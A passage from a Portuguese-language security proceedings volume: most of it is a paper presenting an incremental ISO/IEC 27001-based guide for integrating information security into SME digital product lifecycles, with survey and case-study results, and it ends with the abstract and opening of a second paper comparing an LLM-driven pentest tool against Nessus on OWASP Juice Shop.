Portanto, a análise dos trabalhos relacionados evidencia que a literatura ofe-
rece contribuições relevantes, porém fragmentadas, para a integração da Segurança da
Informação ao desenvolvimento de produtos digitais. Conforme sintetizado na Tabela 1,
abordagens associadas ao DevSecOps concentram-se na operacionalização técnica da
segurança, com ênfase em automação e maturidade de processos, enquanto propostas
baseadas na ISO/IEC 27001 fortalecem governança, gestão de riscos e conformidade,
mas apresentam menor detalhamento sobre sua integração ao ciclo de vida do produto e
à dinâmica de equipes ágeis, especialmente em PMEs.

Trabalhos que buscam conciliar requisitos normativos e métodos ágeis represen-
tam avanços importantes, porém mantêm foco predominantemente técnico ou conceitual,
com limitada orientação à tomada de decisão orientada a Produto e à adoção incremental
da segurança sob a perspectiva de negócio. Assim, permanece uma lacuna na litera-
tura quanto a abordagens que articulem, de forma integrada e proporcional, governança,
desenvolvimento e evolução contı́nua de produtos digitais em PMEs, lacuna esta que a
proposta deste trabalho busca endereçar.

A Tabela 1 apresenta uma sı́ntese comparativa dos principais trabalhos analisados,
destacando seus objetos, abordagens metodológicas, contribuições e limitações.

Tabela 1. Sı́ntese comparativa dos principais trabalhos relacionados

Autor/Ano Proposta Abordagem Contribuição Limitações

Ramaj (2022) Segurança integrada a
pipelines DevSecOps

Revisão
sistemática

Automação e
rastreabilidade de
controles

Não aborda governança
ou ISO/IEC 27001

Zhao (2024) Maturidade em segurança
para ambientes ágeis

Estudo empı́rico Dimensões crı́ticas de
integração

Sem operacionalização
normativa ou foco em
PMEs

Adebayo et al.
(2024)

Governança de SI com
base na ISO/IEC 27001

Revisão e estudos
de caso

Reforço de governança e
conformidade

Pouca integração com o
ciclo do produto

Mera-Amores &
Roa (2024)

Adoção incremental da
ISO/IEC 27001 em PMEs

Estudo de caso Adoção proporcional da
norma

Não integra práticas ágeis

Laine (2024) Adequação DevOps à
ISO/IEC 27001

Estudo aplicado Tradução técnica de
requisitos normativos

Não orientado a Produto

Naserinia (2025) Conciliação entre
ISO/IEC 27001 e
agilidade

Estudo analı́tico Análise de trade-offs Ausência de guia
operacional

Siqueira (2016) Processos para
desenvolvimento seguro

Dissertação Sistematização de práticas
no SDLC

Foco técnico; sem
governança em PMEs

ENISA (2021) Controles mı́nimos para
PMEs

Relatório
institucional

Priorização de controles
essenciais

Sem integração ao ciclo
do produto
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4. Metodologia
Este trabalho caracteriza-se como uma pesquisa aplicada, de abordagem qualitativa e na-
tureza exploratória, cujo objetivo é propor e avaliar um artefato conceitual-operacional
voltado à integração da segurança da informação ao ciclo de vida de produtos digitais em
PMEs. Pesquisas aplicadas são adequadas quando o foco está na solução de problemas
práticos por meio da adaptação e organização de conhecimento existente em contextos
organizacionais [Hevner et al. 2004, Wieringa 2014].

Metodologicamente, o estudo foi desenvolvido em duas frentes complementares.
A primeira, de caráter teórico-conceitual, consistiu na revisão da literatura cientı́fica e na
análise de normas e frameworks amplamente adotados na área de segurança da informação
e engenharia de software, incluindo a ISO/IEC 27001:2022, a ISO/IEC 27002:2022, a
ISO/IEC 27005:2022, a LGPD e o NIST Cybersecurity Framework, com o objetivo de
identificar princı́pios, requisitos e boas práticas relevantes à integração da segurança em
produtos digitais [ISO/IEC 2022a, ISO/IEC 2022b, NIST 2024].

A segunda frente teve caráter empı́rico-exploratório e envolveu a avaliação do ar-
tefato proposto por meio da triangulação de evidências, combinando diferentes fontes
empı́ricas para aumentar a robustez interpretativa dos resultados. Foram utilizados (i) um
questionário estruturado aplicado a profissionais de Produto digital e (ii) um estudo explo-
ratório conduzido por meio da aplicação prática do guia em uma organização de pequeno
porte desenvolvedora de SaaS, seguido de entrevistas semiestruturadas com membros da
equipe. A triangulação metodológica é recomendada em pesquisas qualitativas explo-
ratórias por permitir a convergência de evidências e a mitigação de vieses associados a
fontes únicas de dados [Yin 2018, Flick 2009].

No contexto da pesquisa aplicada em Engenharia de Software e Sistemas de
Informação, a construção de artefatos é reconhecida como forma válida de contribuição
cientı́fica, ao permitir o desenvolvimento e a avaliação de soluções para problemas orga-
nizacionais reais [Hevner et al. 2004].

O artefato resultante deste estudo consiste em um guia prático incremental funda-
mentado na ISO/IEC 27001:2022. O guia é apresentado com uma estrutura conceitual em
etapas, camadas e nı́veis de maturidade para favorecer sua aplicação progressiva em PMEs
e apoiar sua evolução futura para um framework conceitual-operacional mais abrangente.

5. Guia Prático para Integração da Segurança da Informação
Esta seção apresenta um guia prático para a integração da Segurança da Informação ao
ciclo de vida de produtos digitais em PMEs. O guia foi concebido como uma solução
operacional, incremental e orientada a riscos, alinhada à ISO/IEC 27001:2022, com o
objetivo de viabilizar a adoção de práticas essenciais de segurança em contextos organi-
zacionais caracterizados por recursos limitados.

Embora apresentado como um guia prático, o artefato é organizado por etapas
progressivas e é acompanhado de uma estrutura conceitual em camadas (estratégica, tática
e operacional) e nı́veis de maturidade. Essa organização busca facilitar o entendimento,
a replicação e a adoção incremental do guia por equipes de Produto e Tecnologia em
PMEs, além de sustentar sua evolução futura para um framework conceitual-operacional
mais abrangente, sem que isso constitua o foco principal desta pesquisa.
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Ao longo desta seção, o guia é apresentado em quatro perspectivas complemen-
tares: (i) uma visão sintética das etapas e seu mapeamento com cláusulas e controles da
ISO/IEC 27001:2022; (ii) a estrutura conceitual em camadas, que posiciona o guia entre
governança, gestão de riscos e execução; (iii) sua operacionalização no ciclo de vida do
produto e em times ágeis, integrando práticas de segurança às rotinas de planejamento,
desenvolvimento e operação; e (iv) os nı́veis de maturidade, que orientam uma adoção
progressiva e proporcional à realidade das PMEs.

5.1. Visão das etapas do Guia proposto
A operacionalização do guia proposto é estruturada em um conjunto de etapas sequen-
ciais e interdependentes, concebidas para viabilizar a adoção progressiva da Segurança
da Informação em produtos digitais desenvolvidos por PMEs. Cada etapa traduz requisi-
tos normativos da ISO/IEC 27001:2022 em atividades práticas, responsabilidades claras
e evidências objetivas, permitindo que a segurança seja incorporada de forma incremental
ao ciclo de vida do produto. Essa organização busca apoiar tanto a compreensão do guia
quanto sua aplicação prática por equipes de Produto, Desenvolvimento e Governança,
sem exigir a implementação integral e imediata de um Sistema de Gestão da Segurança
da Informação. O Anexo I - Sı́ntese das etapas do guia prático e mapeamento com a
ISO/IEC 27001, apresenta a sı́ntese das etapas do guia, destacando objetivo, ações prin-
cipais, responsável, evidências esperadas e o mapeamento com cláusulas e controles da
ISO/IEC 27001:2022.

A etapa de escopo e contexto tem como finalidade delimitar claramente o produto
digital ou serviço ao qual o guia será aplicado, em consonância com os requisitos de com-
preensão do contexto organizacional definidos pela ISO/IEC 27001. Essa definição evita
ambiguidades comuns em PMEs, como a aplicação genérica de controles sem clareza so-
bre dados, módulos ou integrações sob responsabilidade da organização [ISO/IEC 2022a].

A implementação inicia-se com a descrição do produto (por exemplo, SaaS, API
ou aplicativo móvel), seus módulos e ambientes, seguida da identificação dos tipos de
dados tratados, especialmente dados pessoais e sensı́veis, suas finalidades, integrações
com terceiros e partes interessadas internas e externas, conforme orientações da norma
[ISO/IEC 2022a]. As evidências incluem documento de escopo, mapa de stakeholders e
registro de requisitos legais, como a LGPD.

A etapa de papéis e responsabilidades busca reduzir a responsabilidade difusa em
segurança da informação por meio da designação clara de responsáveis e pontos focais,
atendendo aos requisitos de liderança e autoridade da ISO/IEC 27001 [ISO/IEC 2022a].
A matriz RACI é utilizada como instrumento para explicitar responsabilidades em de-
cisões crı́ticas, como gestão de acessos e tratamento de incidentes [Smith 2005].

O inventário de ativos e o mapeamento de fluxos de dados fornecem a base técnica
para a análise de riscos. Devem ser identificados sistemas, bancos de dados, APIs, ambi-
entes e integrações externas, conforme os controles de inventário e classificação de ativos
da ISO/IEC 27001 e da ISO/IEC 27002 [ISO/IEC 2022a, ISO/IEC 2022b]. Diagramas
de fluxo de dados são recomendados para facilitar a visualização dos pontos crı́ticos de
armazenamento, processamento e compartilhamento de informações.

A análise de riscos visa identificar eventos que possam comprometer a confiden-
cialidade, integridade ou disponibilidade das informações, considerando ameaças, vul-
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nerabilidades e impactos, conforme diretrizes da ISO/IEC 27005 [ISO/IEC 2022c]. A
priorização é realizada por meio de uma matriz de riscos baseada em critérios simples de
impacto e probabilidade [ISO/IEC 2022c, ISO/IEC 2022a].

Na etapa de tratamento de riscos, são definidas as estratégias de mitigação,
aceitação, transferência ou evitação, considerando viabilidade técnica e impacto no
negócio. O principal resultado é o plano de tratamento de riscos, com definição de con-
troles, responsáveis e prazos, preferencialmente integrado ao backlog ou roadmap do
produto, conforme previsto na ISO/IEC 27001 [ISO/IEC 2022a].

Antes da consolidação dos controles técnicos e operacionais, o guia prevê a
formalização de um conjunto mı́nimo de polı́ticas essenciais, responsáveis por estabele-
cer diretrizes, responsabilidades e padrões de comportamento relacionados à segurança da
informação. Essas polı́ticas incluem, no mı́nimo, a Polı́tica de Segurança da Informação,
a Polı́tica de Privacidade e Proteção de Dados Pessoais, a Polı́tica de Controle de Aces-
sos, a Polı́tica de Backup e Recuperação e a Polı́tica de Tratamento de Incidentes. Esses
documentos devem ser formalmente documentados, constituindo evidências objetivas de
governança e conformidade com a ISO/IEC 27001 [ISO/IEC 2022a].

As etapas subsequentes consolidam a implementação da segurança da informação
por meio da adoção progressiva de controles técnicos e organizacionais, integração da
segurança ao desenvolvimento de produtos, monitoramento de eventos, tratamento de
incidentes, avaliação por indicadores e melhoria contı́nua. Essas atividades operam de
forma cı́clica e integrada, alinhadas ao princı́pio de melhoria contı́nua do Sistema de
Gestão da Segurança da Informação (SGSI), retroalimentando a gestão de riscos e as
decisões de produto [ISO/IEC 2022a].

5.2. Estrutura Conceitual do Guia
A organização do guia em etapas operacionais é complementada por uma estrutura
conceitual em camadas, que permite interpretá-lo sob a perspectiva de um framework
conceitual-operacional em evolução.

A camada normativa constitui a base estrutural do guia, sendo responsável por
estabelecer os referenciais de normas, conformidade e boas práticas que fundamentam a
Segurança da Informação. Essa camada fornece o direcionamento estratégico necessário
para a definição de polı́ticas, critérios e requisitos mı́nimos de proteção da informação.

A camada metodológica atua como a engrenagem de execução do guia, sendo res-
ponsável por operacionalizar as diretrizes normativas por meio de métodos estruturados
de gestão e melhoria contı́nua. Nesse nı́vel, destaca-se a aplicação do ciclo PDCA como
mecanismo central de governança, permitindo planejar, implementar, verificar e ajustar
continuamente as práticas de segurança ao longo do tempo.

Por fim, a camada operacional representa a aplicação direta do guia no contexto
do produto digital, integrando controles, práticas técnicas e organizacionais ao ciclo de
vida do desenvolvimento de software. Essa camada viabiliza a incorporação da segurança
às rotinas dos times ágeis, garantindo que os princı́pios definidos nas camadas superiores
se traduzam em ações concretas durante o desenvolvimento e a evolução do produto.

A articulação entre as camadas normativa, metodológica e operacional permite
que a segurança da informação seja tratada de forma progressiva e integrada, partindo de
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referenciais formais, evoluindo por meio de métodos de execução contı́nuos e resultando
em práticas efetivamente incorporadas ao produto digital.

A Figura 1 ilustra graficamente essa estrutura conceitual em camadas, evidenci-
ando a relação entre os nı́veis estratégico, tático e operacional do guia prático.

Figura 1. Estrutura do guia prático, organizada em camadas normativa, meto-
dológica e operacional

5.3. Operacionalização do Guia no Ciclo de Vida do Produto e em Times Ágeis

O guia foi estruturado para se integrar à cadência de trabalho dos times ágeis, aprovei-
tando cerimônias, artefatos e fluxos já existentes, como planejamento de sprints, refi-
namento de backlog, revisões e retrospectivas. As práticas de segurança passam a ser
tratadas como requisitos não funcionais contı́nuos.

Tabela 2. Relação entre fases do ciclo de vida do produto e etapas do guia

Fase do Ciclo de Vida do
Produto

Etapas do Guia Forma de Operacionalização

Planejamento e descoberta Etapas 1 a 4 Sprint zero, planejamento estratégico
Desenho e arquitetura Etapas 5 e 6 Refinamento contı́nuo
Desenvolvimento e testes Etapas 7 a 9 Histórias técnicas, CI/CD
Implantação e operação Etapas 10 e 11 Monitoramento e resposta a incidentes
Evolução contı́nua Etapa 12 Revisões e retrospectivas
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5.4. Nı́veis de Maturidade do Guia
O guia foi estruturado em dois nı́veis evolutivos de maturidade, permitindo adoção pro-
porcional e progressiva em contextos organizacionais distintos. O Nı́vel 1 consolida
governança mı́nima e polı́ticas essenciais (Etapas 1 a 6). O Nı́vel 2 aprofunda contro-
les técnicos, monitoramento e melhoria contı́nua (Etapas 7 a 12).

Figura 2. Nı́veis de maturidade do guia prático para integração da Segurança da
Informação

A aplicação ilustrativa indicou que organizações tendem a consolidar o Nı́vel 1
antes de avançar para o Nı́vel 2, reforçando a adequação da abordagem incremental ao
contexto das PMEs e às suas limitações estruturais e organizacionais.

6. Resultados
Esta seção apresenta os resultados obtidos a partir de duas frentes complementares: (i)
a aplicação de um questionário a profissionais da área de Produto atuantes em em-
presas de Uberlândia e região; e (ii) um estudo exploratório por meio da aplicação
prática do guia proposto em uma organização de pequeno porte, seguido de entre-
vista semiestruturada com a equipe. A análise integrada permite confrontar percepções
empı́ricas com achados consolidados na literatura sobre Segurança da Informação em
PMEs [ENISA 2021, Apolinário et al. 2025, Mera-Amores and Roa 2024].

6.1. Perfil dos Respondentes
Participaram do questionário 35 profissionais com atuação direta em desenvolvimento,
gestão e tomada de decisão sobre produtos digitais. A amostra é composta majoritaria-
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mente por profissionais de Produto (Product Managers e Product Owners), complemen-
tada por perfis técnicos e de gestão, o que amplia a diversidade de perspectivas analisadas.
A Tabela 3 apresenta a caracterização da amostra.

Observa-se predominância de profissionais com experiência intermediária ou
avançada na área, perfil considerado relevante para análises de maturidade organizaci-
onal, uma vez que tende a apresentar maior criticidade em relação à governança, riscos e
práticas de segurança [ENISA 2021, Rombaldo Junior et al. 2023].

Tabela 3. Perfil dos respondentes do questionário (n = 35)

Caracterı́stica Percentual (%)

Cargo
Product Manager 28
Product Owner 20
Designer UX 14
Tech Lead 14
Head de Produto / Head 9
Gestor(a) 6
Analista de Produto 3
Coordenador(a) de TI 3
Analista de Negócios 3

Tempo de atuação na área de Produto
Menos de 1 ano 6
1 a 3 anos 32
3 a 5 anos 31
Mais de 5 anos 31

6.2. Resultados Quantitativos do Questionário

Os resultados quantitativos permitem caracterizar o contexto organizacional dos res-
pondentes e identificar padrões relacionados à estrutura, governança e integração da
Segurança da Informação ao ciclo de vida de produtos digitais. A Tabela 4 consolida
as principais variáveis analisadas.

Em relação ao porte das organizações, observa-se predominância de empresas
médias e pequenas. Independentemente do porte, os dados evidenciam fragilidades estru-
turais em Segurança da Informação, corroborando achados da literatura que indicam que
maturidade não está diretamente associada ao tamanho da organização, mas à existência
de governança e processos formais [ENISA 2021, Adebayo et al. 2024].

Quanto à estrutura de Segurança da Informação, parcela expressiva dos respon-
dentes atua em organizações sem função formal dedicada ou com responsabilidades
diluı́das entre TI e Produto. A presença de uma pessoa responsável é mais frequente do
que a existência de times especializados, caracterı́stica recorrente em PMEs e alinhada a
estudos nacionais e internacionais [Rombaldo Junior et al. 2023, Apolinário et al. 2025].

No que se refere à integração da segurança ao ciclo de vida do produto, apenas
parte das organizações considera requisitos de segurança desde a concepção. Predomina
a adoção durante o desenvolvimento ou em fases tardias, indicando abordagem predo-
minantemente reativa, consistente com a literatura sobre segurança em ambientes ágeis
[Zhao et al. 2024, Ramaj et al. 2022].
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A frequência de consideração de requisitos de segurança apresenta distribuição
heterogênea, reforçando a ausência de padronização e a dependência de decisões pontu-
ais. De forma similar, a percepção sobre o papel da Segurança da Informação distribui-se
entre visões estratégicas e interpretações associadas a obrigação regulatória ou custo ne-
cessário, evidenciando dissociação entre reconhecimento conceitual e prática operacional
[Cisco Systems 2025, Adebayo et al. 2024].

Tabela 4. Principais resultados quantitativos do questionário (n = 35)

Variável / Categoria Percentual (%)

Porte da empresa
Micro 3
Pequena 29
Média 51
Grande 17

Estrutura de Segurança da Informação
Não existe função definida 23
Responsabilidade diluı́da entre TI e Produto 26
Uma pessoa responsável 31
Time especializado 17
Não sei informar 3

Momento de consideração da segurança no produto
Desde a concepção do produto 37
Durante o desenvolvimento 34
Apenas antes do lançamento 11
Apenas após incidentes ou problemas 9
Não é considerada 9

Frequência de consideração de requisitos de segurança
Nunca 9
Raramente 20
Às vezes 23
Frequentemente 25
Sempre 23

Percepção sobre a Segurança da Informação
Diferencial estratégico 34
Obrigação regulatória 29
Custo necessário 20
Entrave ao desenvolvimento 0
Tema pouco relevante 17

6.2.1. Desafios percebidos para a integração da Segurança da Informação

Os resultados quantitativos do questionário permitem caracterizar o contexto organiza-
cional em que os profissionais de Produto estão inseridos e identificar padrões relaci-
onados à estrutura, à governança e à integração da Segurança da Informação ao ciclo
de vida dos produtos digitais. As variáveis analisadas foram selecionadas com base
nos objetivos deste estudo e em achados recorrentes da literatura sobre maturidade em
Segurança da Informação em pequenas e médias empresas, possibilitando a comparação
entre percepções empı́ricas e tendências já descritas em estudos acadêmicos.

A análise qualitativa das respostas abertas evidencia que os principais desafios
percebidos para a integração da Segurança da Informação ao desenvolvimento de pro-

Segurança Cibernética na Prática

211



dutos digitais concentram-se em fatores organizacionais e processuais. Resultados se-
melhantes são reportados em estudos que apontam limitações relacionadas a conheci-
mento, tempo, priorização e apoio da liderança como barreiras recorrentes à adoção
de práticas estruturadas de segurança em PMEs [ENISA 2021, Apolinário et al. 2025,
Rombaldo Junior et al. 2023].

Observa-se que os desafios relatados neste estudo estão majoritariamente associ-
ados à governança e à tomada de decisão, e não à ausência de tecnologias especı́ficas,
convergindo com a literatura que identifica a segurança como um problema predominan-
temente organizacional em PMEs [Mera-Amores and Roa 2024, Adebayo et al. 2024].

6.3. Resultados do Estudo Exploratório: Aplicação do Guia

O estudo exploratório teve como objetivo avaliar a viabilidade inicial da aplicação do guia
proposto em um contexto organizacional real. A aplicação ocorreu ao longo de aproxima-
damente seis meses (segundo semestres de 2025) em uma organização de pequeno porte
desenvolvedora de software como serviço.

Das doze etapas previstas no guia, quatro foram concluı́das (Etapas 1, 2, 3 e
6), duas encontravam-se em andamento (Etapas 4 e 5), uma estava prevista para inı́cio
no curto prazo (Etapa 7) e cinco ainda não haviam sido iniciadas (Etapas 8 a 12).
Esse padrão de adoção gradual é consistente com abordagens incrementais recomenda-
das para a implementação da ISO/IEC 27001 em PMEs [Mera-Amores and Roa 2024,
ENISA 2021]. No Nı́vel 1, destacaram-se a definição de escopo e contexto, a
formalização de papéis e responsabilidades, o inventário de ativos e fluxos de dados e
a elaboração de polı́ticas essenciais.

No Nı́vel 2, observou-se a implementação seletiva de controles técnicos essenci-
ais, como autenticação multifator, rotinas básicas de backup e registros de eventos. A
literatura indica que a adoção parcial desses controles pode gerar ganhos iniciais sig-
nificativos de proteção, mesmo antes da consolidação completa de um SGSI formal
[ISO/IEC 2022a, ENISA 2021].

6.4. Indicadores e Percepção da Equipe

A avaliação combinou indicadores objetivos e percepção da equipe, utilizando escala de 1
a 5. Os resultados consolidados (Tabela 5) indicam maiores médias nas dimensões asso-
ciadas à governança e diretrizes, cultura e conscientização, proteção de dados e controle
de acesso, refletindo maior clareza de polı́ticas, responsabilidades e fluxos.

Em contrapartida, desenvolvimento seguro e resposta a incidentes apresenta-
ram médias inferiores, indicando estágio inicial de maturidade. Esses resultados são
compatı́veis com o fato de que práticas técnicas mais avançadas estão previstas para
etapas posteriores do guia e demandam maior maturidade organizacional e técnica
[Ramaj et al. 2022, Mera-Amores and Roa 2024].

De forma geral, os indicadores e a percepção da equipe sugerem que a adoção in-
cremental do guia contribuiu para avanços mensuráveis em governança e conscientização.
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Tabela 5. Indicadores de percepção da equipe sobre Segurança da Informação

Dimensão Avaliada Indicadores Medidos Média Geral (1–5)

Governança e Diretrizes Clareza das polı́ticas; compreensão das respon-
sabilidades; percepção de organização.

4,23

Controle de Acesso Entendimento de permissões; clareza sobre
MFA; facilidade de ajuste de acessos.

4,07

Proteção e Tratamento de
Dados

Compreensão dos fluxos; identificação de da-
dos pessoais; percepção de redução de riscos.

4,17

Desenvolvimento Seguro Utilidade de checklists; segregação de ambien-
tes; maturidade para DevSecOps.

3,70

Resposta a Incidentes Clareza de reporte; entendimento do fluxo;
prontidão para atuação.

3,00

Cultura e Conscientização Importância da segurança; entendimento de
riscos; engajamento com polı́ticas.

4,27

7. Discussão e Lições Aprendidas

A discussão articula as evidências empı́ricas deste estudo com a literatura cientı́fica
e normativa, evidenciando um cenário de maturidade organizacional heterogênea em
Segurança da Informação. Os resultados do questionário e do estudo exploratório
reforçam padrões recorrentes em PMEs, como governança incipiente, estruturas informais
ou baseadas em indivı́duos e integração tardia da segurança ao ciclo de vida do produto
[ENISA 2021, Rombaldo Junior et al. 2023, Mera-Amores and Roa 2024]. Nesse con-
texto, a segurança tende a assumir caráter predominantemente reativo, frequentemente
acionada após incidentes ou por exigências externas, o que está associado a maiores cus-
tos e retrabalho, conforme amplamente discutido na literatura de engenharia de software
e DevSecOps [Adebayo et al. 2024, Zhao et al. 2024, Ramaj et al. 2022].

Outro aspecto relevante refere-se à dissociação entre o reconhecimento concei-
tual da Segurança da Informação como diferencial estratégico e sua operacionalização
prática. Embora parte dos respondentes reconheça seu valor estratégico, tal percepção
não se traduz, necessariamente, em processos sistemáticos e mensuráveis, conforme am-
plamente discutido na literatura [Cisco Systems 2025, Adebayo et al. 2024]. As respos-
tas qualitativas indicam que as principais barreiras à integração da segurança estão as-
sociadas a fatores organizacionais, como priorização, tempo, conhecimento e apoio da
liderança, reforçando a compreensão da segurança como um problema predominante-
mente de governança, e não apenas técnico [ENISA 2021, Rombaldo Junior et al. 2023,
Mera-Amores and Roa 2024].

A aplicação exploratória do guia proposto fornece evidências iniciais de que abor-
dagens incrementais, orientadas a Produto, podem contribuir para mitigar essas lacunas.
A priorização de etapas relacionadas à definição de escopo, papéis e responsabilidades,
inventário de ativos e polı́ticas essenciais está alinhada às recomendações da literatura
para adoção proporcional da ISO/IEC 27001 em PMEs [Mera-Amores and Roa 2024,
ENISA 2021]. Essa priorização também se reflete na percepção da equipe, que atribuiu
médias superiores a 4,0 às dimensões de governança, controle de acesso, proteção de
dados e cultura de segurança, conforme apresentado nos indicadores consolidados.
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Os avanços seletivos observados na adoção de controles técnicos essenciais, como
autenticação multifator, backup e registros de eventos, corroboram evidências de que a
implementação parcial de controles pode gerar ganhos iniciais relevantes de proteção,
mesmo em estágios iniciais de maturidade [ISO/IEC 2022a, ENISA 2021]. Em contra-
partida, dimensões associadas ao desenvolvimento seguro e à resposta a incidentes apre-
sentaram médias inferiores, indicando maturidade inicial, o que é compatı́vel com o fato
de essas práticas estarem previstas principalmente para o Nı́vel 2 do guia.

De forma geral, os resultados indicam que o guia proposto contribui para redu-
zir a distância entre normas consolidadas e a realidade operacional das PMEs ao tra-
duzir requisitos normativos em uma estrutura operacional acessı́vel a profissionais de
Produto, reforçando seu potencial como instrumento prático de apoio à evolução da
maturidade em Segurança da Informação [ENISA 2021, Mera-Amores and Roa 2024,
Cisco Systems 2025].

8. Conclusão e Trabalhos Futuros

Este trabalho abordou o problema recorrente da baixa maturidade em Segurança da
Informação em PMEs, especialmente no contexto de produtos digitais desenvolvidos
em ambientes ágeis. A literatura aponta que limitações de recursos, fragilidades de
governança e a complexidade associada à implementação integral de normas inter-
nacionais dificultam a adoção de práticas estruturadas de segurança nesse contexto
[ENISA 2021, Mera-Amores and Roa 2024, Apolinário et al. 2025].

Como resposta a esse cenário, foi proposto e avaliado de forma exploratória um
guia prático incremental, fundamentado na ISO/IEC 27001:2022, orientado à integração
da Segurança da Informação ao ciclo de vida de produtos digitais. Como contribuição
adicional, o guia foi apresentado com uma estrutura conceitual em camadas e nı́veis de
maturidade, com o propósito de apoiar sua compreensão, replicação e evolução futura
para um framework conceitual-operacional mais abrangente. O guia proposto dialoga com
abordagens existentes identificadas na literatura recente, ao mesmo tempo em que avança
ao integrar governança, práticas de desenvolvimento e decisões orientadas a Produto em
uma estrutura incremental voltada a PMEs.

Os resultados empı́ricos, obtidos por meio de questionário com profissionais de
Produto e da aplicação ilustrativa do guia em uma PME desenvolvedora de SaaS, in-
dicam que a abordagem incremental e proporcional é viável e compatı́vel com con-
textos de recursos limitados, promovendo avanços iniciais em governança, definição
de responsabilidades, visibilidade sobre riscos e adoção seletiva de controles essenciais
[ENISA 2021, Rombaldo Junior et al. 2023, Mera-Amores and Roa 2024].

Como trabalhos futuros, pretende-se a realização de estudos longitudinais que
acompanhem a evolução da maturidade em Segurança da Informação ao longo do tempo,
bem como a aplicação do guia em organizações de diferentes setores e portes, a fim de
avaliar sua adaptabilidade e potencial de generalização. Sugere-se, ainda, o aprofun-
damento da integração do guia com práticas de DevSecOps, automação de controles e
monitoramento contı́nuo, contribuindo para o refinamento e consolidação da proposta
[Zhao et al. 2024, Ramaj et al. 2022, NIST 2024].
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(WCGE). Sociedade Brasileira de Computação. Acesso em: nov. 2025.

Wieringa, R. J. (2014). Design Science Methodology for Information Systems and Software Engineering.
Springer, Berlin, Heidelberg. Acesso em: nov. 2025.

Yin, R. K. (2018). Case Study Research and Applications: Design and Methods. SAGE Publications, Los
Angeles, CA, 6th edition. Acesso em: nov. 2025.

Zhao, X., Clear, T., and Lal, R. (2024). Identifying the primary dimensions of devsecops: A multi-vocal
literature review. Journal of Systems and Software, 214:112063.

Segurança Cibernética na Prática

216



Anexo I - Sı́ntese das etapas do guia
prático e mapeamento com a ISO/IEC 27001

Etapa Objetivo Ações Principais Responsável Evidências ISO e Controles

1 Escopo e contexto Definir limites do
produto, dados tratados,
integrações, partes
interessadas e requisitos
legais

Produto e Direção Documento de
escopo, mapa de
stakeholders

Cláusula 4,
A.5.1, A.5.25

2 Papéis e
responsabilidades

Designar responsável por
segurança e definir
atribuições

Direção Termo de
designação, matriz
RACI

Cláusula 5, A.5.2

3 Inventário e fluxos Mapear ativos, módulos,
APIs, bancos de dados,
ambientes e fluxos de
dados

Produto e TI Inventário de
ativos, diagramas
de fluxo

A.5.10, A.5.11

4 Análise de riscos Identificar ameaças,
vulnerabilidades,
impactos e priorizar
riscos

Produto, TI e SGSI Matriz de riscos Cláusula 6,
A.5.21

5 Tratamento de riscos Definir controles,
responsáveis, prazos e
decisões de tratamento

Direção e SGSI Plano de
tratamento de
riscos

Cláusula 6.1.3,
A.5.24

6 Polı́ticas essenciais Elaborar polı́ticas
mı́nimas de acesso,
backup, incidentes e
proteção de dados

Produto e SGSI Polı́ticas aprovadas A.5.1, A.5.15,
A.8.24

7 Controles técnicos Implementar
autenticação forte,
criptografia, logs, backup
e segregação

TI e DevOps Configurações e
registros técnicos

A.8.2, A.8.6,
A.8.22

8 Segurança organizacional Realizar treinamentos e
revisar acessos

RH e SGSI Registros de
treinamentos

A.6.3, A.7.2

9 Segurança no
desenvolvimento

Adotar revisão de código,
checklists, testes
automatizados e
segregação de ambientes

Desenvolvimento e
Produto

Evidências no
backlog e
relatórios técnicos

A.8.27, A.8.28

10 Monitoramento e
incidentes

Registrar eventos, tratar
incidentes e realizar
análise de causa raiz

TI e SGSI Registros de
incidentes

A.8.8, A.8.24

11 Avaliação e métricas Acompanhar indicadores
e realizar revisões
periódicas

Direção e SGSI Relatórios de
indicadores

Cláusula 9,
A.5.34

12 Melhoria contı́nua Atualizar riscos, polı́ticas
e definir ações corretivas
e preventivas

Produto e SGSI Planos de ação Cláusula 10,
A.5.35
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Abstract. With the growing sophistication of cyberattacks, the automation of
penetration testing has become a key strategy for identifying vulnerabilities in a
fast and scalable manner. This work analyzes the use of Pentagi, an AI-driven
penetration testing tool that leverages Large Language Models (LLMs) such
as GPT-4 and Claude 3 to perform autonomous offensive security assessments.
The research evaluates the tool’s efficiency, effectiveness, and cost-benefit com-
pared to the traditional Nessus Essentials scanner, using the OWASP Juice Shop
as a controlled vulnerable environment. The tests were conducted with real or-
chestration between two physical machines, integrating Langfuse for interaction
logging and data analysis. Results indicate that while Nessus remains superior
in speed and coverage consistency, Pentagi demonstrates an emerging capabi-
lity to reason about vulnerabilities, adapt its strategies dynamically, and explain
its actions in a transparent manner — key aspects for future intelligent pentes-
ting systems. The study concludes that LLM-based agents represent a promising
path for automated offensive security, combining adaptability, reproducibility,
and accessibility in cybersecurity research and practice.

Resumo. Com o aumento da sofisticação dos ataques cibernéticos, a
automação de testes de penetração tem se consolidado como uma estratégia
fundamental para a identificação de vulnerabilidades de forma rápida e es-
calável. Este trabalho analisa o uso do Pentagi, uma ferramenta de teste de
penetração orientada por inteligência artificial, que utiliza Modelos de Lin-
guagem de Grande Escala (LLMs), como GPT-4 e Claude 3, para realizar
avaliações autônomas de segurança ofensiva. A pesquisa avalia a eficiência,
a eficácia e o custo-benefı́cio da ferramenta em comparação com o scanner
tradicional Nessus Essentials, utilizando a aplicação OWASP Juice Shop como
ambiente vulnerável controlado. Os testes foram conduzidos por meio de uma
orquestração real entre duas máquinas fı́sicas, com a integração do Langfuse
para logging das interações e análise dos dados. Os resultados indicam que,
embora o Nessus permaneça superior em termos de velocidade e consistência de
cobertura, o Pentagi demonstra uma capacidade emergente de raciocinar sobre
vulnerabilidades, adaptar suas estratégias de forma dinâmica e explicar suas
ações de maneira transparente — aspectos fundamentais para a evolução de
sistemas inteligentes de pentesting. Conclui-se que agentes baseados em LLMs
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representam um caminho promissor para a automação da segurança ofensiva,
combinando adaptabilidade, reprodutibilidade e acessibilidade no contexto da
pesquisa e da prática em cibersegurança.

1. Introdução

Nos últimos tempos, ataques cibernéticos têm se tornado cada vez mais sofisticados,
atacantes exploram cada vez mais vulnerabilidades em aplicações com muita rapidez e
eficácia. Este cenário exige que estratégias defensivas sejam forçadas a evoluir no mesmo
ritmo, demandando inovações que auxiliem entidades e profissionais de segurança ci-
bernética na identificação e mitigação de riscos. Neste contexto os testes de penetração
(pentests) continuam sendo as principais ferramentas para análise de segurança ofensiva
pois permitem identificar vulnerabilidades antes que as mesmas possam ser utilizadas por
atores maliciosos [Bertoglio et al. 2023].

Os pentests tradicionais enfrentam desafios particulares para sua maior difusão,
sendo o principal deles o alto custo operacional dado a necessidade de equipes com
